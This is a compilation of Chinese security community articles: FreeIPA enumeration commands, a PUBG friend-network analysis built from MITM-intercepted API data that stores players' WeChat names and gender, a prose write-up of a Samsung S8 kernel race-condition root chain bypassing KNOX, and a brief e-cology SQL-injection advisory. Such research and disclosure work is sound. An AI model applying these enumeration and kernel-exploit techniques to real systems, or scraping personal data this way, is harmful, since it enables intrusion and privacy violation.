命令的能力。作为攻击者，我们可以枚举出这些规则集适用于哪些主机和用户，以及通过规则集允许哪些命令。
#### 5.1、通过 LDAP 枚举
使用以下命令可枚举实验室环境中的所有 sudo 规则：
ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=westeros,dc=local"
#### 5.2、通过 IPA 枚举
使用以下命令可枚举实验室环境中的所有 sudo 规则：
ipa sudorule-find
----------------- ipa sudorule-show <sudorule> --all
### 0x06 基于角色的访问控制
在官方文档中，基于角色的访问控制定义如下：
基于角色的访问控制(RBAC)是一种组织对 FreeIPA 管理的数据访问的分层方式。在一个组织内执行相同任务的不同用户通常被组合成一个组，这个组成为 FreeIPA 角色的成员。这个角色为成员组和用户提供必要的权限来执行他们所分配的任务。
FreeIPA
中的角色由几个不同的元素组成。每个角色都包含一组权限，而这些相应的权限包含一组权限。角色可以应用于用户、用户组、主机、主机组和服务。为了说明这个概念，让我们讨论
FreeIPA中的默认"用户管理员 "角色。
如图所示："用户管理员" 角色包含以下特权：
* User Administrators
* Group Administrators
* Stage User Administrators
我们可以进一步挖掘并枚举委派给每个权限的权限。
我们可以看到，"用户管理员 "角色包含了相当多的权限。了解这些角色、权限的概念和结构，对于识别整个环境中的攻击路径至关重要。
#### 6.1、通过 LDAP 枚举
使用以下命令可枚举实验室环境中的所有角色：
ldapsearch -Y gssapi -b "cn=roles,cn=accounts,dc=westeros,dc=local"
#### 6.2、通过 IPA 枚举
使用以下命令可枚举实验室环境中的所有角色、权限：
ipa role-find
ipa role-show <role> --all
ipa privilege-find
ipa privilege-show <privilege> --all
ipa permission-find
ipa permission-show <permission> --all
### 0x07 结论
我想，我们现在已经对 FreeIPA
环境中的各种不同类型的对象结构有了初步的了解，并对它们的作用也有了一些了解。作为攻击者，不仅要能够枚举出这些对象，而且还要了解这些对象的意义。
在本系列的后面的文章中，我的目标是涵盖以下内容：
* 利章节中所涉及的枚举技术来揭示实验室环境内部的攻击路径。
* 最后，概述了一些攻击者在 FreeIPA 环境中可能滥用的错误配置和独特的场景。
### 0x08 参考
* Defining Host-Based Access control Rules, Fedora, <https://docs.fedoraproject.org/en-US/Fedora/15/html/FreeIPA_Guide/hbac-rules.html>
* Defining Sudo-Rules, Fedora, <https://docs.fedoraproject.org/en-US/Fedora/18/html/FreeIPA_Guide/defining-sudorules.html>
* Docker, FreeIPA, <https://www.freeipa.org/page/Docker>
* FreeIPA Container, Github, <https://github.com/freeipa/freeipa-container>
* FreeIPA Server, DockerHub, <https://hub.docker.com/r/freeipa/freeipa-server/>
* MIT Kerberos Documentation, MIT, <https://web.mit.edu/kerberos/krb5-latest/doc/>
* Kerberos Credential Thievery (GNU/Linux), Ronan Loftus and Arne Zismer, <https://www.delaat.net/rp/2016-2017/p97/report.pdf>
原文：<https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1> | 社区文章 |
**作者：[Omegogogo](https://weibo.com/u/3679666233 "Omegogogo")
来源：[Freebuf](https://www.freebuf.com/articles/web/199925.html "Freebuf")**
### **0×00 前言**
放假和小伙伴们打了几把PUBG，大半年没碰，居然也意外地躺着吃了次鸡。吃鸡这个游戏果然得4个认识的人打(dai)战(dai)术(wo)才更有趣。
由于身边搞安全的人比较多，之前也会和一些安全圈的大佬一起玩，经常会有些认识或不认识的黑阔大佬开着高科技带着躺鸡。当然笔者也曾羞耻地开过挂带妹（纪念号被封的第193天）。
那么这些黑阔大佬们，在不开挂的情况下，谁会是他们之中技术最好的呢？带着这样的疑问，试着从数据分析的角度来看看谁会是安全圈的吃鸡第一人。
> 注：全文所指的“安全圈”是一个非常狭义的概念，在本文中仅覆盖到小部分安全从业者玩家，所以标题有些夸大。如有其他错误也欢迎指出。
### 0×01 数据收集
怎么才能知道哪些安全从业者在玩这个游戏，他们的ID又是什么呢？
在一些APP里可以查到玩家的战绩，其中比较有价值的是，还能看到每位玩家的好友列表。
那么可以有这么个思路，也就是一个广度优先遍历：
1. 确定一个初始的ID链表，并保证初始链表内都是安全圈内人士。
2. 遍历初始链表内每一位玩家的所有好友。
3. 当链表内H的好友J，同时也是链表内另外两位黑客的共同好友，那么认为J也是安全圈内人士，加入到链表尾处。
4. 向后迭代重复2、3。
#### 动手实现
发现走的是https，挂上证书以MITM的方式来监听https流量：
可以发现数据是以json格式传递的，写个python脚本来自动完成获取数据，单线程+限速（一方面不至于给别人家的api爬挂了另一方面也不至于触发IDS、anti-CC等机制）。
脚本主要代码是：
def r_get(nickname,offset):
#发送给api的request
...
return json#返回一个json格式
def get_friends(nickname):
offset = 0
res_js = r_get(nickname,str(offset))
temp_friends = res_js['result']['board']
if res_js['status'] == "ok":
while len(res_js['result']['board']) == 30:
offset = offset + 30
res_js = r_get(nickname,str(offset))
temp_friends = temp_friends + res_js['result']['board']
print(" {0} 的好友人数 {1}".format(res_js['result']['user_rank']['nickname'], len(temp_friends) -1 ))
friends = []
Wxname = ""
Wxsex = ""
Wxavatar = ""
sql = ""
for playerinfo in temp_friends:
if playerinfo['nickname'] != res_js['result']['user_rank']['nickname']:
friends.append(playerinfo['nickname'])
elif playerinfo.has_key('heybox_info') == True:
Wxname = playerinfo['heybox_info']['username']
Wxsex = playerinfo['heybox_info']['sex']
Wxavatar = playerinfo['heybox_info']['avartar']
friends_s = ','.join(friends)
sql = "INSERT INTO player (nickname,avatar,steamID,friends,Wxname,Wxsex,Wxavatar) \
VALUES ('{0}','{1}','{2}','{3}','{4}','{5}','{6}')".format(res_js['result']['user_rank']['nickname'],res_js['result']['user_rank']['avatar'], res_js['result']['user_rank']['steam_id'],friends_s,Wxname,Wxsex,Wxavatar)
return friends,sql
else:
print("获取{0}的好友人数失败, 返回{1}".format(res_js['result']['user_rank']['nickname'],res_js['msg']))
return 1
def record_rds(sql):
#db操作
def main():
...
笔者先确定一份初始安全圈列表，包括“Rickyhao”、“RicterZ”、“r3dr41n”、“PwnDog”等。这些人或是在bat、360等公司从事安全相关工作，或是笔者信安专业的同学，或ID明显带有安全的特征（PwnDog），总之都是比较确信的安全圈人士。
以这些人为初始列表，很快就有几位玩家被划定为安全圈人士。
在遍历到大约第50来位的时候也看到了自己的游戏昵称：Omego555（正是刚才提到开挂带妹被封的账号）
遍历到“wilson233”时发现直接跳过了，并没有被纳入到安全圈列表中，但笔者读过wilson写下的很多优质文章，他也是某甲方公司的安全从业者。
（该ID在后来的某次遍历中也被纳入了列表中，程序表现出一定的健壮性。 ）
在数据量达到1000多的时候笔者手动终止了程序。原因是列表增长的速度越来越快，在单线程+限速的限制下程序迟迟看不到收敛的希望。另一方面笔者只是想做个小测试，并不需要太大规模的数据集。
#### 观察数据集
初步观察数据集，发现很多有意思的事情：比如在遍历到第300多位玩家的时候，发现了一个ID带得有“pkav”字样的玩家” **PKAV-xiaoL**
“（pkav是原来在乌云很有名气的安全组织，其中一名成员“gainover”正是原乌云知识库《安全圈有多大》一文的作者，笔者也是受到这篇文章的启发才打算做这个小项目）。
随着PKAV-xiaoL被确定到安全圈列表中，由于社交关系，更多的pkav成员也被添加进列表中。
除了pkav-xxx，还看到了一些很眼熟的ID：比如【SparkZheng】—正是多个ios越狱的作者蒸米大大
比如【ma7h1as】，笔者大学时的队友，现玄武实验室大佬，多个Google/MS CVE获得者，超级大黑客
再来看这位，从游戏昵称看不出是谁，但微信昵称告诉我们这个账号的主人应该是安全盒子的创始人王松。
当然还有一些活跃在安全论坛，或者笔者有读过的一些高质量技术文章的作者的ID，眼熟的如”lightless233″、”LoRexxar”、”susu43″、”CurseRed”等，这里不再一一列举。
除此之外还有一些玩家，比如这位：
笔者既不认识他，也从未在安全论坛见过他的ID，只是猜想用“sudo”作为ID的人是安全从业者的可能性比较大吧。那么他真的会是安全圈人士吗？
试着搜索一下：
找到了他的GitHub，并在其中发现了很多你懂的东西，很有趣对吧？
### 0×02 社群发现与社区关系
我们发现了很多安全圈的吃鸡玩家，但是除了这些眼熟和有迹可循的ID，列表里躺着的绝大多数都是笔者没见过，陌生的ID。为了弄清楚他们之间的社区关系。我们使用一些算法和可视化工具来帮助进行数据分析。
先用环形关系图看看：
圆上的每个红点代表一位玩家，无数条灰边则将各位玩家串联起来。在这份数据集中一共有1270个节点，他们互相组成了共计14216次好友关系，形成了7128条灰边。称得上是复杂的社交网络了。
我们使用无向图来构建力引导关系，虽然在安全领域的风控、反欺诈方向中使用有向图更为广泛一些，但好友关系是双向的，因此这里用无向图。代码如下：
# -*- coding: UTF-8-*-
from pyecharts import Graph
import json
import sys
import sqlite3
conn = sqlite3.connect('db2.db')
c = conn.cursor()
print "Opened database successfully";
cursor = c.execute("SELECT nickname,friends FROM player")
nodes = []
links = []
temps = []
for row in cursor:
temps.append({"name":row[0],"friends":row[1].split(",")})
nodes.append({"name":row[0],"symbolSize":5})
for temp in temps:
for friend in temp["friends"]:
if {"name":friend,"symbolSize":5} in nodes:
links.append({"source":temp["name"],"target":friend})
graph = Graph("力导图",width=1400,height=1600)
graph.add(
"",
nodes,
links,
graph_layout = "force",
label_pos="right",
graph_repulsion=10,
line_curve=0.2,
)
graph.render()
得到：
俗话说“物以类聚人以群分”，在我们的数据集中也同样适用。可以观察到这份社交网络其实是由多个小社区群落组成的，比如在最左下角的这个部分，这个小社区处于安全圈的边缘地带，很有可能不是安全从业者，我们放大来看：
这个“五边形”是一个完全子图。在这个小社区中，五个人都互为好友，也被称作“派系（Clique）”，这五个人很有可能经常一起开黑。
同时我们可以看到顶点这位玩家：
如果我们把上面最大的部分看做是安全圈的话，这位叫Feng_Bao的玩家卡在了安全圈与这个5人小社区“道路咽喉”的位置，这样的节点具有较高的“中介中心性（Betweenness
Centrality）”，往往具有不可替代的作用。在现实中类似房屋中介一样，买房者与卖房者之间的联系都得靠他。
除了中介中心性，在图论中节点还有另外两个重要性质：度中心性(Degree Centrality)以及紧密中心性(Closeness Centrality)。
一个节点与之相连的边越多，这个节点的度中心性就越高，也就是好友越多，度中心性越高，很可能是具有较高名望的人，比如微博的大V，意见领袖等。
紧密中心性则是衡量一个节点到其他所有节点的最短距离之和的指标，一个节点的紧密中心性越高那么他传播信息的时候也就越不需要依赖其他人。
分别计算一下数据集中三个中心性排名靠前的玩家。
有没有看到眼熟的ID呢：
确实看到一些眼熟的ID，但由于我们前面寻找安全圈的算法并不准确，在收集数据的过程中很可能误入到某些特定的圈子中。比如某些安全圈玩家同时又是二次元爱好者，那么很可能会把这份数据集带入到”二次元圈“。为了尽量避免这种情况，我们使用一些社区发现算法来完成社区的寻找与分割。
>
> 社区发现算法用来发现网络中的社区结构，多数是聚类类型的算法。使用社区发现算法可以帮助我们发现联系相对紧密的社区，从而帮助我们把安全圈和其他圈子的人分割开来。
常见的社区发现算法有：Girvan-Newman、Louvai、K-Clique、Label propagation等。
在Python下可以使用NetworkX来完成各类社区发现算法的调试，但NetworkX本身只是算法工具，并不具备可视化功能，而笔者联调plt画出来的图实在奇丑无比。因此这里使用算法单一但可视化功能强悍的gephi来实现。
fast-unfolding是基于Modularity的算法，也是复杂网络当中进行社团划分简单高效、应用最广泛的算法。
用force atlas图布局：
fast-unfolding：
除此之外Gephi还支持GN算法，但内存要求较高，有兴趣的同学可以尝试下其他算法。
经过30000余次迭代，最终得到了19个社区，用图像来表示是这样的：
在社区发现算法中社区的数目和大小通常是不可知的，一般是用模块度Modularity来检查社区分类的合理性。由于本文采集的数据较少且这里的好友关系是双向的，不像微博的关注/粉丝的机制能较准确地找出图的连通性，所以这里的社区发现效果并不理想。
笔者在使用NetworkX尝试了多种算法和不同的参数后，最终选择了一个样本数量为1125的社区，覆盖了原数据集样本总数的88.58%。在简单观察了这个社区的合理性后，决定使用这份数据集来做后续的战绩分析。
### 0×03 战绩爬取和分析
#### 谁是安全圈的吃鸡第一人
拿到了要进行战绩数据采集的玩家名单后，我们需要先确定几个指标来衡量一个玩家的吃鸡技术水平，才能有指向性的进行数据采集。笔者最终选取了数个指标，分别是：
1. 历史最高Rank，即最高段位
2. 最近20场游戏的平均排名
3. 最近20场的吃鸡数和前10数
4. 最近20场游戏的击杀总数
5. 最近20场游戏造成的总伤害
笔者还决定采集一些有趣的指标，能反映玩家的游戏习惯：
1. 最近20场的武器使用情况
2. 最近20场的死亡地点
3. 最近20场的游戏总时长
爬虫写完后数据很快就抓取完毕。
先来看看安全圈玩家们最近20场游戏的情况
在最近的20场比赛中苟到排名前十次数最多的是【RickyHao】和【NeglectLee】两位，达到惊人的17次，85%的前10率。
这一指标在安全圈的平均值是6.33。
单独看看吃鸡情况：
在最近20场比赛中吃鸡次数最多的是这位叫【qingfenggod】的玩家，达到了可怕的10次，近20场次中有一半的比赛都笑到了最后。前十次数第一的【RickyHao】则在吃鸡数上排到了第二位，达到了8次。
而这一数值的平均值仅才0.71，两位玩家都达到了10数倍。
【RickyHao】之所以在这一指标上如此突出是因为最近20场次里包含了很多活动模式，而【qingfenggod】则大部分是在排位中获得的，可以说是非常惊人的胜率了。
在KDA和伤害方面：
可以看到大部分玩家都集中在左下半部分，可以认为正常玩家都在这一点簇群内， 即KDA<2，伤害<400的部分。
而KDA达到4伤害超过550的玩家仅有4位。KDA超过5伤害超过600的仅仅只有一位了。
但有一位玩家达到了令人窒息的：
* KD：8.4
* 伤害：1099.57
是第二名的近两倍，是平均值的近10倍！！！！直接来到了散点图的云端之上，这可是击杀与死亡比啊，如果不是高科技的话这位玩家可能是职业级的水准了。
这位玩家也正是刚才提到吃鸡榜第一的【qingfenggod】。
同样在吃鸡榜中排第二的【RickyHao】，这一数据仅为：
* KD：3.7
* 伤害：461.18
排位第8位。
思考：其实这里已经可以很直观地分类出正常玩家、高级玩家、外挂玩家三大类别。如果是反外挂/风控等场景，对于这种密度相差很大的簇群，可以尝试使用kmeans这类基于距离的聚类算法来将样本分为3~5类，并借助移动速度、平均移动距离等指标来辅助判断是否为外挂玩家。这里不作深入探究。
笔者更感兴趣的是吃鸡和枪法的关系，一个人的枪法越好，越容易吃鸡吗？吃鸡对于笔者这样热衷伏地苟活的玩家会更友好吗？
对于枪法这一表征，直接使用KD和damage来代替，再加上移动距离来分析这三类指标与吃鸡率的相关性
做个简单的线性相关分析，计算Pearson系数：
光从相关系数看，枪法和吃鸡虽然是正相关，但并不是呈现出非常强的相关性，顶多达到了中等程度相关。
而整场游戏的移动距离则和吃鸡完全呈弱相关了，可能是吃鸡这个游戏真的很看运气吧。
而如果一位玩家只是想进入游戏前十，则和个人枪法没什么太大关系了，反而和移动距离关系较大。
换句话说，如果只是想冲进前十，乖乖苟毒跑圈就可以了。
这也基本印证我们对游戏的理解。
如果说以上对最近二十场次游戏的分析还无法回答“谁是安全圈吃鸡第一人”这个问题的话，那么历史最高排位情况应该能给出一个答案了。
那么谁的rank分值会是安全圈中最高的呢，我们同样遍历了1125位玩家的这一指标：
（注：官方API的提示中写到，由于官方服务器问题，一些玩家的这一数据可能丢失或者有误）
取四人TPP的排位情况，前三位分别是：
* Salmonnnnn：4094.7144
* syzhou：3906.409
* ph4nt0mer：3609.1436
通过观察好友关系，笔者相信他们与安全圈关系密切（大家也可以搜索一下这些ID）。
写到这里，“谁是安全圈的吃鸡第一人？”这一问题已经差不多给出了答案。
#### 玩家画像
风控、反APT等场景中经常会用一些手段对黑客或者用户进行画像。在这里笔者也做了一些研究玩家游戏习惯的工作，基于玩家的击杀行为来画像。
挑选一位玩家游戏记录较多的玩家，以【sanmao2054】为例。
通过分析他550场次比赛中的的891次击杀，来推测一下该玩家的游戏习惯，刻画出这位玩家的游戏风格。
从武器使用情况来看：
sanmao2054最钟爱步枪，最常使用的是M416和AK47这两把万精油老款自动步枪，两把枪的击杀人数加起来超过了250次。
笔者最喜欢用的ScarL步枪在他的手里排在了优先级非常靠后的位置。
在狙击枪方面：
sanmao2054偏爱SKS这种连发狙击步枪，击杀次数达到了22次。而对于m24和kar98这种单发拉栓步枪就不太热衷使用，两把枪使用次数加起来也不过29次。
总体来看，这位玩家在狙击枪的使用频率上远不如步枪。所有狙击枪的击杀次数加起来都不及AK或者M4的一半。
在冲锋枪方面：
最爱的当属UMP，而vector紧随其后，达到44次击杀。要知道热爱vector的玩家并不多，所以这可以算是这位玩家较明显的特点。
其他：
空投枪的使用次数并不多，看来这位玩家对追梦没什么兴趣。
虽然是近身型玩家，但使用喷子的次数并不多。更偏向于自动武器。
而使用爆破手雷击杀了高达31次，这是个非常亮眼的数据。
从击杀距离来看：
平均击杀距离排在第一位的自然是狙中之王，精准度最强劲的AWM，达到了120多米。
排在第二的则是这位玩家最爱的SKS，达到111米了。
对于这位玩家最喜爱的m4和ak两类步枪，平均击杀距离仅只有19到24米。
从这里可以看出这位玩家偏好近距离作战，热爱刚枪，对于杀伤力较大的自动步枪情有独钟。
sanmao2054的最远击杀距离达到了285米，使用的却是SKS这一款连狙步枪，也从侧面印证此人刚枪的风格。
从平均击杀时间点来看：
sanmao2054在前期击杀使用的基本都是手枪/冲锋枪，DP28等武器，在中期会使用AK等自动步枪。后期则以空投枪为主。
有趣的一点是，这位玩家使用爆破手雷完成击杀的时间点也比较靠后。
可以合理地推测出，他比较倾向于在最后使用手雷来打扫战场，快速结束战斗。这也是比较聪明的做法。
根据以上信息基本可以脑补一下这位玩家的打法是：
先跳伞到人多的区域，随意捡起一两把武器（甚至是手枪）就开始干架，成功击杀对手后就寻找ak/m4等自动步枪过渡到中期，会留雷到后期来结束战斗，在少数情况下后期也会去考虑空投枪。
用一些关键词来描述sanmao2054可能会是：【刚枪小王子】、【步枪之王】、【不擅长狙击】、【爆破手】、【使用vector的大手子】之类的。
最后用两张安全圈所有玩家的死亡热力图来结束全文：
### 0×04 最后
本文仅是一个For
fun的周末项目，涉及的数据有限。在真正的网络攻防实践中，数据挖掘和分析能为安全工程师带来更多的便利，特别是在流量分析/异常检测/溯源取证/风控画像等方面。
笔者目前在某甲方公司从事安全相关工作，身边搞数据分析的人较少，所以写这篇文章的目的也是希望能结识同样对安全数据分析感兴趣的小伙伴。
对这个方向感兴趣的小伙伴欢迎留言或wx/wb上同我交流:-）有周末组排缺菜鸡队友的也欢迎戳我。
* * * | 社区文章 |
作者：zjq@IceSword Lab
来源：<http://www.iceswordlab.com/2018/04/20/samsung-root/>
在安卓阵营中，三星手机可以说是最重视安全的了，各种mitigation技术都是早于官方系统应用到自己手机上，并且加入了KNOX技术，在内核层设置了重重校验，提高了手机root难度。17年下半年，研究过一段时间三星手机s8的内核安全问题，发现了一些比较有意思的漏洞。本文中，将介绍一个race
condition漏洞，利用此漏洞绕过KALSR，PXN，CFI，KNOX2.8等拿到了s8内核root权限。目前这些漏洞都已经被修复。
#### 0x0 MobiCore驱动的提权漏洞
在MobiCore驱动中，ioct的MC_IO_GP_REGISTER_SHARED_MEM接口会从slab中分配一块cwsm
buffer，MC_IO_GP_RELEASE_SHARED_MEM接口用来释放cwsm
buffer和相关资源。但是在释放过程中，由于没有加锁，存在race condition进而导致double free的可能：
看此函数的实现，首先从链表中查找获取该内存块，并将引用计数加1以持有该cwsm buffer。然后通过连续两个cwsm_put函数减去引用计数并释放cwsm
buffer。cwsm_put的实现是引用计数减1，然后检查引用计数是否为0，如果为0，则执行cwsm_release函数释放cwsm，如下所示：
正常情况下，创建该buffer时引用计数被设为1，cwsm_find查找该buffer时引用计数加1，第一个cwsm_put调用减去cwsm_find持有的引用计数，然后第二个cwsm_put将引用计数减为0，并调用cwsm_release释放资源。
但在client_gp_release_shared_mem函数中，由于cwsm_find和两个cwsm_put之间并未加锁保护，使获取cwsm和释放cwsm不是原子操作，当race
condition发生时，多个线程在cwsm被释放前调用cwsm_find获取该buffer后，接下来的多次cwsm_put调用则可以触发对cwsm的double
free。
我们再看cwsm_release这个函数，还是比较复杂的：
其中，cwsm的结构为：
仔细分析cwsm_release函数，我们会发现，这个函数中当race condition发生时， tee_mmu_delete(cwsm->mmu)
会造成cwsm->mmu 的double free， client_put(client) 会造成cwsm->client的double
free，最后kfree(cwsm) 也会造成cwsm的double free。三个大小不一的slab内存块同时double
free，极易引起内核崩溃，除非我们在cwsm第一次被释放后占住该内存，从而控制内存中内容，改变第二次执行此函数中的流程。而list_del_init(&cwsm->list)这一句：
如果我们可以控制cwsm的内容，也就是list->next 和list->prev指针的值，则可以做成一个任意地址写。
#### 0x1 利用方案
从client_gp_release_shared_mem函数中可以看到，调用cwsm_find获得buffer和调用cwsm_put释放buffer时间间隙极小，如何能提高race
condition的成功率，有效控制指针，并能尽可能的降低崩溃率呢？通过对slab中内存分配释放机制的分析，主要采用了几下几个方法:
1. 如何增加race condition成功率呢？kmalloc在slab中分配内存块会记录下本线程所在核，kfree释放内存时，如果判断当前线程所在核与分配内存时的所在核一致，则将内存释放到快速缓存链表freelist中，这样当其他线程分配相同大小的内存块时能快速取到，这样可以增加释放后马上占位的成功率；如果释放时判断当前线程所在核与分配内存时的所在核不一致，则将内存释放到page->freelist中，当其他线程分配内存时，缓存链表中内存耗尽后，才会从此链表中取用，因为时间间隙很小，这会降低占位成功率。所以分配slab内存，释放内存，占位内存的线程最好在同一个核上。假设有0，1，2三个核，线程A在0核上分配了buffer，线程B在0核上释放buffer，同时为了制造race condition需要线程C在1核上释放buffer，同时线程D在0核上，可以调用add_key系统调用来占用线程B释放掉的内存块，并填上我们需要的内容。当然这实际调试中，因为race condition间隙很小，可能需要几个甚至几十几百个线程同时操作来增加成功率。同时，因为race condition间隙很小，可以在0核上增加大量打酱油线程，使其在race condition间隙中获得调用机会，以增大时间间隙，提高占位的成功率；
2. 我们在cwsm double free的第一次释放后将其占住，那么就可以控制其中的内容，填上我们需要的值，因此我们可以将cwsm->list.next设为一个内核地址，利用list_del_init(&cwsm->list)再调用__list_del，可以实现内核地址写，比如将ptmx->check_flags 设置为我们需要的函数指针；
3. 当race condition发生时，多个线程调用cwsm_release时，大小不同的slab块cwsm->mmu，cwsm->client和cwsm都会被重复释放，在此情况下，内核大概率会崩。因此，当cwsm第一次释放，我们占住后，需要将cwsm->client和cwsm->mmu填上合适的值，防止内核崩溃。我们先看client_put(client) 函数：
这个函数首先引用计数client->kref减1，如果为0，则调用client_release释放资源。因此我们可以将client->kref设为大于1的值，防止cwsm->client被二次释放。
再看tee_mmu_delete(cwsm->mmu)，这一句比较麻烦，它将调用mmu_release函数，看内部实现（片段）：
可以看到，mmu_release
不仅要释放mmu，并且要引用mmu中指针。如果我们能控制cwsm->mmu，那么我们必须将cwsm->mmu设为一个合法的slab地址，并且能够控制这个slab中的内容，否则系统将崩溃。幸运的是，我们找到了一个信息泄露漏洞：
/sys/kernel/debug/ion/event文件将泄露ion中分配的ion_buffer的地址。我们可以利用ion接口分配大量ion_buffer，然后在泄露的地址中查找到连续8k大小（cwsm->mmu的大小）的ion_buffer内存。然后在ion中占住这一块内存不释放，将其地址填到cwsm->mmu中，使mmu_release释放此内存块，但因为我们在ion中此内存占住不释放不使用，所以即使被别人重新获得，也可避免内核崩溃。
#### 0x2 Bypass KALSR
Android
8.0之后安卓手机普遍启用了内核地址随机化，而三星手机启用的要更早一些。此漏洞本身泄露内核地址比较困难，所以还需要一个信息泄露漏洞。debugfs
文件系统一直是比较容易出问题的，我们尝试着用简单指令测试了一下：find /sys/kernel/debug | xargs
cat，片刻之后，屏幕上打印出了如下信息：
经过分析，这是/sys/kernel/debug/tracing/printk_formats文件所泄露出来的地址，有些函数地址，比如dpm_suspend，此地址加上一个固定的偏移量即可得到内核启动后的真实函数地址。经过fuzz发现，类似的信息泄露不止一处。
#### 0x3 Bypass PXN && CFI
我们曾在16年mosec会议上介绍过几种过PXN方法。其中一个方法是，将函数指针kernel_setsockopt覆盖到ptmx_fops->check_flags，然后通过控制第一个参数跳转，绕过set_fs(oldfs)语句，当函数执行完，本进程addr_limit被设为0xffffffffffffffff，此时我们可以在用户态通过一些系统调用直接读写内核数据。
然而在s8上使用此方法时确出现了系统崩溃，仔细检查s8的kernel_sock_ioctl汇编代码时，发现跳转指令改变了，跳转到寄存器的指令改成的直接跳转到固定地址0xffffffc000c56f6c的指令：
下面看看跳转到0xffffffc000c56f6c这个地址干了些什么：
如上代码，实际上是对跳转地址做了检查，如果跳转到的地址的上一条语句是0x00be7bad，则认为是合法地址，执行跳转，如果不是则认为是非法地址，执行一条非法语句导致内核崩溃。为什么必须要上一条语句是0x00be7bad呢？原来s8在编译时每一个函数结尾都加上了一句0x00be7bad作为标记，如果上一条语句是0x00be7bad，则表明这个地址是函数的起始地址，否则不是。也就是说，在每一个跳转到寄存器地址之前都要检查地址是否为函数的起始地址，否则非法。
虽然此路不通，但是另外一个办法还是可以的。我们找到了一个比较好用的bug，在s2mm005_flash函数中有一个代码片段：
文件CCIC_DEFAULT_UMS_FW定义为：”/sdcard/Firmware/usbpd/s2mm005.bin”，由于此文件并不存在，当调用到此代码时，filp_open将返回错误，跳到done返回。可以看到错误处理中并没有恢复addr_limit。也就是当调用此函数失败时，本进程将得到读写内核的权限。
当然上面这个办法有赖于这个简单的bug，在错误处理中漏掉了set_fs(old_fs)的操作。如果没有这种bug怎么办呢？还是有办法的，我们在内核中找到了这样的函数：
将此函数地址，利用漏洞覆盖掉ptms_fops->
check_flags指针，当我们调用check_flags时，可以控制第一个入参，那么合理设置参数内容，可以达到读写内核的目的。
#### 0x4 KNOX2.8 && SELinux
三星手机为了提高手机安全性，加入了KNOX，使内核利用难度大大加强。这里简单介绍一下KNOX2.8在内核中主要实现的特性：
1.与root相关的关键数据，比如cred，页表项等需要在特定内存中分配，此内存中通用cpu端被设为只读，当需要修改时，则发送指令通过TrustZone进行修改；
2.在调用rkp_call让TrustZone执行命令时，TrustZone同样将对数据完整性进行校验，比如commit_creds函数在创建cred后，调用rkp_call时，TrustZone会检查本进程credential是否在只读内存区，检查本进程id是否大于1000，如果大于1000则不能将新创建的credential修改为小于1000的值，这也使得通过调用rkp_override_creds来修改credential用户id的办法不再有效；
3.在SELinux原有权限管理基础上，增加了额外的完整性校验，这几乎影响所有系统调用接口。以open系统调用为例，当打开CONFIG_RKP_KDP配置项时，增加了security_integrity_current的校验：
可以看到，在security_integrity_current这个函数里，将校验：进程描述符中cred和security是否在只读内存区分配，bp_cred与cred是否一致（防止被修改），bp_task是否就是本进程，mm->pgd和cred->bp_pgd是否一致，current->nsproxy->mnt_ns->root和current->nsproxy->mnt_ns->root->mnt->bp_mount是否一致。如果其中某一项关键数据被修改而导致检验不通过，则导致系统产生panic，并打印出错误信息；
4.在load_elf_binary ->
flush_old_exec函数中增加校验，如果进程为id小于1000，为内核进程，并且load的二进制文件及不再”/”目录又不在”/system”目录下则内核panic。
这使得利用用户态调用`__orderly_poweroff`函数在内核中创建内核线程的方法将被阻止；KNOX还在内核其他地方加入了大量的检验。
KNOX的加入，使得以前常用的一些修改credential
用户id去root办法都比较难办了。随着KNOX版本的迭代，势必会对内核的保护越来越强化。但是就笔者当时研究的KNOX2.8而言，依然还有一些弱点可供利用，进而拿到root权限，读写高权限文件，起内核shell等。
前面提到，KNOX限制root的一个措施就是在大部分系统调用中，都会进行数据完整性校验，如果我们将进程credential修改非只读区，则会校验失败。这些校验函数都是挂接在全局变量security_hook_heads下面，比如open系统调用会调用security_hook_heads下挂的file_open钩子函数，最后调用到selinux_file_open进行权限和数据完整性校验。但是security_hook_heads这个全局变量却是可读写的，我们可以利用漏洞读写内核，将此变量下面挂的钩子函数有选择的设置为NULL，不仅可以绕过该校验，还可以绕过SELinux的检查。比如，我们可以把本进程credential设置为替换为一块可读写内存，将id修改为root用户，同时将和读写相关的校验函数设为NULL。这样可以用root用户稳定的读写系统中高权限文件。进行其他操作时，也可以通过禁用相关校验函数绕过校验，当然这种方法有些简单粗暴，需要小心使用，因为这些校验函数有些和系统耦合紧密，如果不小心很容易引起系统crash，操作完成后应该尽快恢复。在KNOX之前版本中，有研究员曾经通过调用`__orderly_poweroff`函数，可以利用内核起一个root进程，绕过了commit_creds中的校验，但是KNOX2.8中在load_elf_binary中增加了对用户id和binary路径的校验。然而我们发现，虽然load_elf_binary增加了此校验，但是load_script中却没有加上这个校验，这就意味着，虽然我们不能在内核中加载自己的binary，但是可以起一个root脚本进程，在脚本中进行我们需要的操作。
#### 总结：
本文介绍了如何利用一个s8中race
condition驱动漏洞，一步步绕过KALSR，PXN，CFI，KNOX2.8等mitigation机制，拿到root权限，读写高权限文件，并在内核中起一个shell进程。三星在内核加固方面下了很大功夫，KNOX的引入显著提高了root的难度，随着后面版本的不断迭代，对内核的加固会越来越强，值得持续的跟踪研究。
* * * | 社区文章 |
目录
0x01 漏洞描述
0x02 漏洞威胁等级
0x03 漏洞成因
0x04 漏洞复现
0x05 修复建议
0x06 免责申明
* * *
# 0x01 漏洞描述
泛微e-cology
OA系统的WorkflowCenterTreeData接口在使用oracle数据库时,由于内置sql语句拼接不严,导致其存在sql注入漏洞
* * *
# 0x02 漏洞威胁等级
高危
影响范围
所有使用Oracle数据库的泛微服务
# 0x03 漏洞成因
泛微e-cology OA系统的WorkflowCenterTreeData接口在使用oracle数据库时,由于内置sql语句拼接不严,导致其存在sql注入
-
* * *
# 0x04 漏洞复现
以下为效果
* * *
# 0x05 修复建议
等待泛微官方进行修复
* * *
# 0x06 免责申明
本文中提到的漏洞利用Poc和脚本仅供研究学习使用，请遵守《网络安全法》等相关法律法规。
# Reference
<https://mp.weixin.qq.com/s/9mpvppx3F-nTQYoPdY2r3w>
题外话：
这个漏洞清水川崎表哥未公布，不知道是那个不知廉耻的人偷取的。大家别瞎传payload了，事关他本人。 | 社区文章 |
# 【技术分享】Android代码入侵原理解析（一）
|
##### 译文声明
本文是翻译文章，文章来源： 付超红@滴滴安全应急响应中心
原文地址：<https://mp.weixin.qq.com/s/Zr8V2WLjVWqwKxko5aEZag>
译文仅供参考，具体内容表达以及含义原文为准。
